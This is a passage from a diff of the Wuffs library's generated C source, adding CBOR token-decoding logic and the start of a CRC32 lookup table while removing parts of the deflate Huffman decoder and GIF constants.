else if (v_c_major == 1u) { ++ if (v_c_minor < 26u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)((12582912u | (2097151u - ((uint32_t)((v_string_length & 65535u))))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__goto_parsed_a_leaf_value__break; ++ } else if (v_c_minor < 28u) { ++ if (v_string_length < 9223372036854775808u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)((12582912u | (2097151u - ((uint32_t)((v_string_length >> 46u))))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ *iop_a_dst++ = wuffs_base__make_token( ++ (~((18446744073709551615u - v_string_length) & 70368744177663u) << WUFFS_BASE__TOKEN__VALUE_EXTENSION__SHIFT) | ++ (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ } else { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(787997u)) << WUFFS_BASE__TOKEN__VALUE_MAJOR__SHIFT) | ++ (((uint64_t)(16777216u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(9u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ } ++ goto label__goto_parsed_a_leaf_value__break; ++ } ++ } else if (v_c_major == 2u) { ++ if (v_c_minor < 28u) { ++ if (v_string_length == 0u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4194560u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__goto_parsed_a_leaf_value__break; ++ } ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4194560u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ } else if (v_c_minor == 31u) { ++ if (v_indefinite_string_major_type != 0u) { ++ break; ++ } ++ v_indefinite_string_major_type = 2u; ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4194560u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__outer__continue; ++ } else { ++ break; ++ } ++ while (true) { ++ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(4); ++ continue; ++ } ++ v_n64 = wuffs_base__u64__min(v_string_length, ((uint64_t)(io2_a_src - iop_a_src))); ++ v_token_length = ((uint32_t)((v_n64 & 65535u))); ++ if (v_n64 > 65535u) { ++ v_token_length = 65535u; ++ } else if (v_token_length <= 0u) { ++ if (a_src && a_src->meta.closed) { ++ status = wuffs_base__make_status(wuffs_cbor__error__bad_input); ++ goto exit; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); ++ continue; ++ } ++ if (((uint64_t)(io2_a_src - iop_a_src)) < ((uint64_t)(v_token_length))) { ++ status = wuffs_base__make_status(wuffs_cbor__error__internal_error_inconsistent_token_length); ++ goto exit; ++ } ++ v_string_length -= ((uint64_t)(v_token_length)); ++ v_continued = 0u; ++ if ((v_string_length > 0u) || (v_indefinite_string_major_type > 0u)) { ++ v_continued = 1u; ++ } ++ iop_a_src += v_token_length; ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4194816u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(v_continued)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(v_token_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ if (v_string_length > 0u) { ++ continue; ++ } else if (v_indefinite_string_major_type > 0u) { ++ goto label__outer__continue; ++ } ++ goto label__goto_parsed_a_leaf_value__break; ++ } ++ } else if (v_c_major == 3u) { ++ if (v_c_minor < 28u) { ++ if (v_string_length == 0u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4194579u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__goto_parsed_a_leaf_value__break; ++ } ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4194579u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ } else if (v_c_minor == 31u) { ++ if (v_indefinite_string_major_type != 0u) { ++ break; ++ } ++ v_indefinite_string_major_type = 3u; ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4194579u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__outer__continue; ++ } else { ++ break; ++ } ++ while (true) { ++ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(6); ++ continue; ++ } ++ v_n64 = wuffs_base__u64__min(v_string_length, 65535u); ++ v_n64 = ((uint64_t)(wuffs_base__utf_8__longest_valid_prefix(iop_a_src, ++ ((size_t)(wuffs_base__u64__min(((uint64_t)(io2_a_src - iop_a_src)), v_n64)))))); ++ v_token_length = ((uint32_t)((v_n64 & 65535u))); ++ if (v_token_length <= 0u) { ++ if ((a_src && a_src->meta.closed) || (((uint64_t)(io2_a_src - iop_a_src)) >= 4u)) { ++ status = wuffs_base__make_status(wuffs_cbor__error__bad_input); ++ goto exit; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(7); ++ continue; ++ } ++ if (((uint64_t)(io2_a_src - iop_a_src)) < ((uint64_t)(v_token_length))) { ++ status = wuffs_base__make_status(wuffs_cbor__error__internal_error_inconsistent_token_length); ++ goto exit; ++ } ++ v_string_length -= ((uint64_t)(v_token_length)); ++ v_continued = 0u; ++ if ((v_string_length > 0u) || (v_indefinite_string_major_type > 0u)) { ++ v_continued = 1u; ++ } ++ iop_a_src += v_token_length; ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(v_continued)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(v_token_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ if (v_string_length > 0u) { ++ continue; ++ } else if (v_indefinite_string_major_type > 0u) { ++ goto label__outer__continue; ++ } ++ goto label__goto_parsed_a_leaf_value__break; ++ } ++ } else if (v_c_major == 4u) { ++ if (WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor] == 0u) { ++ break; ++ } else if (v_depth >= 1024u) { ++ v_token_length = ((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])); ++ while ((v_token_length > 0u) && (iop_a_src > io1_a_src)) { ++ iop_a_src--; ++ v_token_length -= 1u; ++ } ++ status = wuffs_base__make_status(wuffs_cbor__error__unsupported_recursion_depth); ++ goto exit; ++ } ++ v_vminor = 2105361u; ++ v_vminor_alt = 2101282u; ++ if (v_depth > 0u) { ++ v_stack_byte = ((v_depth - 1u) / 16u); ++ v_stack_bit = (((v_depth - 1u) & 15u) * 2u); ++ if (0u == (self->private_data.f_stack[v_stack_byte] & (((uint32_t)(1u)) << v_stack_bit))) { ++ v_vminor = 2105377u; ++ v_vminor_alt = 2105378u; ++ } else { ++ v_vminor = 2105409u; ++ v_vminor_alt = 2113570u; ++ } ++ } ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(v_vminor)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ if (v_c_minor == 0u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(v_vminor_alt)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__goto_parsed_a_leaf_value__break; ++ } ++ v_stack_byte = (v_depth / 16u); ++ v_stack_bit = ((v_depth & 15u) * 2u); ++ self->private_data.f_stack[v_stack_byte] &= (4294967295u ^ (((uint32_t)(3u)) << v_stack_bit)); ++ self->private_data.f_container_num_remaining[v_depth] = v_string_length; ++ v_depth += 1u; ++ v_tagged = false; ++ goto label__outer__continue; ++ } else if (v_c_major == 5u) { ++ if (WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor] == 0u) { ++ break; ++ } else if (v_depth >= 1024u) { ++ v_token_length = ((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])); ++ while ((v_token_length > 0u) && (iop_a_src > io1_a_src)) { ++ iop_a_src--; ++ v_token_length -= 1u; ++ } ++ status = wuffs_base__make_status(wuffs_cbor__error__unsupported_recursion_depth); ++ goto exit; ++ } ++ v_vminor = 2113553u; ++ v_vminor_alt = 2101314u; ++ if (v_depth > 0u) { ++ v_stack_byte = ((v_depth - 1u) / 16u); ++ v_stack_bit = (((v_depth - 1u) & 15u) * 2u); ++ if (0u == (self->private_data.f_stack[v_stack_byte] & (((uint32_t)(1u)) << v_stack_bit))) { ++ v_vminor = 2113569u; ++ v_vminor_alt = 2105410u; ++ } else { ++ v_vminor = 2113601u; ++ v_vminor_alt = 2113602u; ++ } ++ } ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(v_vminor)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ if (v_c_minor == 0u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(v_vminor_alt)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__goto_parsed_a_leaf_value__break; ++ } ++ v_stack_byte = (v_depth / 16u); ++ v_stack_bit = ((v_depth & 15u) * 2u); ++ self->private_data.f_stack[v_stack_byte] |= (((uint32_t)(3u)) << v_stack_bit); ++ self->private_data.f_container_num_remaining[v_depth] = v_string_length; ++ v_depth += 1u; ++ v_tagged = false; ++ goto label__outer__continue; ++ } else if (v_c_major == 6u) { ++ if (v_c_minor >= 28u) { ++ break; ++ } ++ if (v_string_length < 262144u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(787997u)) << WUFFS_BASE__TOKEN__VALUE_MAJOR__SHIFT) | ++ (((uint64_t)((4194304u | ((uint32_t)(v_string_length))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ } else { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(787997u)) << WUFFS_BASE__TOKEN__VALUE_MAJOR__SHIFT) | ++ (((uint64_t)((4194304u | ((uint32_t)((v_string_length >> 46u)))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ *iop_a_dst++ = wuffs_base__make_token( ++ (~(v_string_length & 70368744177663u) << WUFFS_BASE__TOKEN__VALUE_EXTENSION__SHIFT) | ++ (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ } ++ v_tagged = true; ++ goto label__outer__continue; ++ } else if (v_c_major == 7u) { ++ if (v_c_minor < 20u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(787997u)) << WUFFS_BASE__TOKEN__VALUE_MAJOR__SHIFT) | ++ (((uint64_t)((8388608u | ((uint32_t)((v_string_length & 255u)))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__goto_parsed_a_leaf_value__break; ++ } else if (v_c_minor < 24u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(WUFFS_CBOR__LITERALS[((uint8_t)(v_c_minor & 3u))])) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__goto_parsed_a_leaf_value__break; ++ } else if (v_c_minor == 24u) { ++ if (v_string_length < 24u) { ++ if ( ! (iop_a_src > io1_a_src)) { ++ status = wuffs_base__make_status(wuffs_cbor__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ iop_a_src--; ++ break; ++ } ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(787997u)) << WUFFS_BASE__TOKEN__VALUE_MAJOR__SHIFT) | ++ (((uint64_t)((8388608u | ((uint32_t)((v_string_length & 255u)))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(2u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__goto_parsed_a_leaf_value__break; ++ } else if (v_c_minor < 28u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(10490113u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__goto_parsed_a_leaf_value__break; ++ } else if (v_c_minor == 31u) { ++ if (v_tagged || (v_depth <= 0u)) { ++ break; ++ } ++ v_depth -= 1u; ++ if (self->private_data.f_container_num_remaining[v_depth] != 0u) { ++ break; ++ } ++ v_stack_byte = (v_depth / 16u); ++ v_stack_bit = ((v_depth & 15u) * 2u); ++ v_stack_val = (3u & (self->private_data.f_stack[v_stack_byte] >> v_stack_bit)); ++ if (v_stack_val == 1u) { ++ break; ++ } ++ if (v_stack_val != 3u) { ++ v_vminor_alt = 2097186u; ++ } else { ++ v_vminor_alt = 2097218u; ++ } ++ if (v_depth <= 0u) { ++ v_vminor_alt |= 4096u; ++ } else { ++ v_stack_byte = ((v_depth - 1u) / 16u); ++ v_stack_bit = (((v_depth - 1u) & 15u) * 2u); ++ if (0u == (self->private_data.f_stack[v_stack_byte] & (((uint32_t)(1u)) << v_stack_bit))) { ++ v_vminor_alt |= 8192u; ++ } else { ++ v_vminor_alt |= 16384u; ++ } ++ } ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(v_vminor_alt)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__goto_parsed_a_leaf_value__break; ++ } ++ } ++ } while (0); ++ if (iop_a_src > io1_a_src) { ++ iop_a_src--; ++ status = wuffs_base__make_status(wuffs_cbor__error__bad_input); + goto exit; + } +- } else if ((v_table_entry >> 27u) != 0u) { +- status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); +- goto exit; +- } else { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ status = wuffs_base__make_status(wuffs_cbor__error__internal_error_inconsistent_i_o); + goto exit; + } +- v_length = (((v_table_entry >> 8u) & 255u) + 3u); +- v_table_entry_n_bits = ((v_table_entry >> 4u) & 15u); +- if (v_table_entry_n_bits > 0u) { +- while (v_n_bits < v_table_entry_n_bits) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint32_t t_2 = *iop_a_src++; +- v_b2 = t_2; +- } +- v_bits |= (v_b2 << v_n_bits); +- v_n_bits += 8u; ++ label__goto_parsed_a_leaf_value__break:; ++ v_tagged = false; ++ while (v_depth > 0u) { ++ v_stack_byte = ((v_depth - 1u) / 16u); ++ v_stack_bit = (((v_depth - 1u) & 15u) * 2u); ++ self->private_data.f_stack[v_stack_byte] ^= (((uint32_t)(1u)) << (v_stack_bit + 1u)); ++ if (1u == (3u & (self->private_data.f_stack[v_stack_byte] >> v_stack_bit))) { ++ goto label__outer__continue; + } +- v_length = (((v_length + 253u + ((v_bits) & WUFFS_BASE__LOW_BITS_MASK__U32(v_table_entry_n_bits))) & 255u) + 3u); +- v_bits >>= v_table_entry_n_bits; +- v_n_bits -= v_table_entry_n_bits; +- } +- while (true) { +- v_table_entry = self->private_data.f_huffs[1u][(v_bits & v_dmask)]; +- v_table_entry_n_bits = (v_table_entry & 15u); +- if (v_n_bits >= v_table_entry_n_bits) { +- v_bits >>= v_table_entry_n_bits; +- v_n_bits -= v_table_entry_n_bits; +- break; ++ if (self->private_data.f_container_num_remaining[(v_depth - 1u)] <= 0u) { ++ goto label__outer__continue; + } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint32_t t_3 = *iop_a_src++; +- v_b3 = t_3; +- } +- v_bits |= (v_b3 << v_n_bits); +- v_n_bits += 8u; +- } +- if ((v_table_entry >> 28u) == 1u) { +- v_redir_top = ((v_table_entry >> 8u) & 65535u); +- v_redir_mask = ((((uint32_t)(1u)) << ((v_table_entry >> 4u) & 15u)) - 1u); +- while (true) { +- v_table_entry = self->private_data.f_huffs[1u][((v_redir_top + (v_bits & v_redir_mask)) & 1023u)]; +- v_table_entry_n_bits = (v_table_entry & 15u); +- if (v_n_bits >= v_table_entry_n_bits) { +- v_bits >>= v_table_entry_n_bits; +- v_n_bits -= v_table_entry_n_bits; +- break; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint32_t t_4 = *iop_a_src++; +- v_b4 = t_4; +- } +- v_bits |= (v_b4 << v_n_bits); +- v_n_bits += 8u; ++ self->private_data.f_container_num_remaining[(v_depth - 1u)] -= 1u; ++ if (self->private_data.f_container_num_remaining[(v_depth - 1u)] > 0u) { ++ goto label__outer__continue; + } +- } +- if ((v_table_entry >> 24u) != 64u) { +- if ((v_table_entry >> 24u) == 8u) { +- status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); +- goto exit; ++ while (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(8); ++ continue; + } +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- goto exit; +- } +- v_dist_minus_1 = ((v_table_entry >> 8u) & 32767u); +- v_table_entry_n_bits = ((v_table_entry >> 4u) & 15u); +- if (v_table_entry_n_bits > 0u) { +- while (v_n_bits < v_table_entry_n_bits) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint32_t t_5 = *iop_a_src++; +- v_b5 = t_5; +- } +- v_bits |= (v_b5 << v_n_bits); +- v_n_bits += 8u; ++ v_depth -= 1u; ++ v_stack_byte = (v_depth / 16u); ++ v_stack_bit = ((v_depth & 15u) * 2u); ++ if (0u == (self->private_data.f_stack[v_stack_byte] & (((uint32_t)(1u)) << v_stack_bit))) { ++ v_vminor_alt = 2097186u; ++ } else { ++ v_vminor_alt = 2097218u; + } +- v_dist_minus_1 = ((v_dist_minus_1 + ((v_bits) & WUFFS_BASE__LOW_BITS_MASK__U32(v_table_entry_n_bits))) & 32767u); +- v_bits >>= v_table_entry_n_bits; +- v_n_bits -= v_table_entry_n_bits; +- } +- while (true) { +- if (((uint64_t)((v_dist_minus_1 + 1u))) > ((uint64_t)(iop_a_dst - io0_a_dst))) { +- v_hdist = ((uint32_t)((((uint64_t)((v_dist_minus_1 + 1u))) - ((uint64_t)(iop_a_dst - io0_a_dst))))); +- if (v_hdist < v_length) { +- v_hlen = v_hdist; ++ if (v_depth <= 0u) { ++ v_vminor_alt |= 4096u; ++ } else { ++ v_stack_byte = ((v_depth - 1u) / 16u); ++ v_stack_bit = (((v_depth - 1u) & 15u) * 2u); ++ if (0u == (self->private_data.f_stack[v_stack_byte] & (((uint32_t)(1u)) << v_stack_bit))) { ++ v_vminor_alt |= 8192u; + } else { +- v_hlen = v_length; +- } +- v_hdist += ((uint32_t)(((uint64_t)(self->private_impl.f_transformed_history_count - (a_dst ? a_dst->meta.pos : 0u))))); +- if (self->private_impl.f_history_index < v_hdist) { +- status = wuffs_base__make_status(wuffs_deflate__error__bad_distance); +- goto exit; +- } +- v_n_copied = wuffs_base__io_writer__limited_copy_u32_from_slice( +- &iop_a_dst, io2_a_dst,v_hlen, wuffs_base__make_slice_u8_ij(self->private_data.f_history, ((self->private_impl.f_history_index - v_hdist) & 32767u), 33025)); +- if (v_n_copied < v_hlen) { +- v_length -= v_n_copied; +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(9); +- continue; +- } +- v_length -= v_hlen; +- if (v_length == 0u) { +- goto label__loop__continue; ++ v_vminor_alt |= 16384u; + } + } +- v_n_copied = wuffs_base__io_writer__limited_copy_u32_from_history( +- &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); +- if (v_length <= v_n_copied) { +- goto label__loop__continue; +- } +- v_length -= v_n_copied; +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(10); ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(v_vminor_alt)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); + } ++ break; + } +- self->private_impl.f_bits = v_bits; +- self->private_impl.f_n_bits = v_n_bits; +- if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> (self->private_impl.f_n_bits & 7u)) != 0u)) { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); +- goto exit; +- } ++ self->private_impl.f_end_of_data = true; + + ok: +- self->private_impl.p_decode_huffman_slow[0] = 0; ++ self->private_impl.p_decode_tokens = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_decode_huffman_slow[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_decode_huffman_slow[0].v_bits = v_bits; +- self->private_data.s_decode_huffman_slow[0].v_n_bits = v_n_bits; +- self->private_data.s_decode_huffman_slow[0].v_table_entry_n_bits = v_table_entry_n_bits; +- self->private_data.s_decode_huffman_slow[0].v_lmask = v_lmask; +- self->private_data.s_decode_huffman_slow[0].v_dmask = v_dmask; +- self->private_data.s_decode_huffman_slow[0].v_redir_top = v_redir_top; +- self->private_data.s_decode_huffman_slow[0].v_redir_mask = v_redir_mask; +- self->private_data.s_decode_huffman_slow[0].v_length = v_length; +- self->private_data.s_decode_huffman_slow[0].v_dist_minus_1 = v_dist_minus_1; ++ self->private_impl.p_decode_tokens = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; ++ self->private_data.s_decode_tokens.v_string_length = v_string_length; ++ self->private_data.s_decode_tokens.v_depth = v_depth; ++ self->private_data.s_decode_tokens.v_tagged = v_tagged; ++ self->private_data.s_decode_tokens.v_indefinite_string_major_type = v_indefinite_string_major_type; + + goto exit; + exit: +@@ -36408,243 +36446,607 @@ wuffs_deflate__decoder__decode_huffman_slow( + a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } + ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } + return status; + } + +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__DEFLATE) ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__CBOR) + +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__GIF) ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__CRC32) + + // ---------------- Status Codes Implementations + +-const char wuffs_gif__error__bad_lzw_code[] = "#gif: bad LZW code"; +-const char wuffs_gif__error__bad_extension_label[] = "#gif: bad extension label"; +-const char wuffs_gif__error__bad_frame_size[] = "#gif: bad frame size"; +-const char wuffs_gif__error__bad_graphic_control[] = "#gif: bad graphic control"; +-const char wuffs_gif__error__bad_header[] = "#gif: bad header"; +-const char wuffs_gif__error__bad_literal_width[] = "#gif: bad literal width"; +-const char wuffs_gif__error__bad_palette[] = "#gif: bad palette"; +-const char wuffs_gif__error__truncated_input[] = "#gif: truncated input"; +-const char wuffs_gif__error__internal_error_inconsistent_i_o[] = "#gif: internal error: inconsistent I/O"; +- + // ---------------- Private Consts + + static const uint32_t +-WUFFS_GIF__INTERLACE_START[5] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 4294967295, 1, 2, 4, 0, +-}; +- +-static const uint8_t +-WUFFS_GIF__INTERLACE_DELTA[5] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 1, 2, 4, 8, 8, +-}; +- +-static const uint8_t +-WUFFS_GIF__INTERLACE_COUNT[5] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 0, 1, 2, 4, 8, +-}; +- +-static const uint8_t +-WUFFS_GIF__ANIMEXTS1DOT0[11] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 65, 78, 73, 77, 69, 88, 84, 83, +- 49, 46, 48, +-}; +- +-static const uint8_t +-WUFFS_GIF__NETSCAPE2DOT0[11] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 78, 69, 84, 83, 67, 65, 80, 69, +- 50, 46, 48, +-}; +- +-static const uint8_t +-WUFFS_GIF__ICCRGBG1012[11] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 73, 67, 67, 82, 71, 66, 71, 49, +- 48, 49, 50, +-}; +- +-static const uint8_t +-WUFFS_GIF__XMPDATAXMP[11] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 88, 77, 80, 32, 68, 97, 116, 97, +- 88, 77, 80, ++WUFFS_CRC32__IEEE_TABLE[16][256] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ { ++ 0u, 1996959894u, 3993919788u, 2567524794u, 124634137u, 1886057615u, 3915621685u, 2657392035u, ++ 249268274u, 2044508324u, 3772115230u, 2547177864u, 162941995u, 2125561021u, 3887607047u, 2428444049u, ++ 498536548u, 1789927666u, 4089016648u, 2227061214u, 450548861u, 1843258603u, 4107580753u, 2211677639u, ++ 325883990u, 1684777152u, 4251122042u, 2321926636u, 335633487u, 1661365465u, 4195302755u, 2366115317u, ++ 997073096u, 1281953886u, 3579855332u, 2724688242u, 1006888145u, 1258607687u, 3524101629u, 2768942443u, ++ 901097722u, 1119000684u, 3686517206u, 2898065728u, 853044451u, 1172266101u, 3705015759u, 2882616665u, ++ 651767980u, 1373503546u, 3369554304u, 3218104598u, 565507253u, 1454621731u, 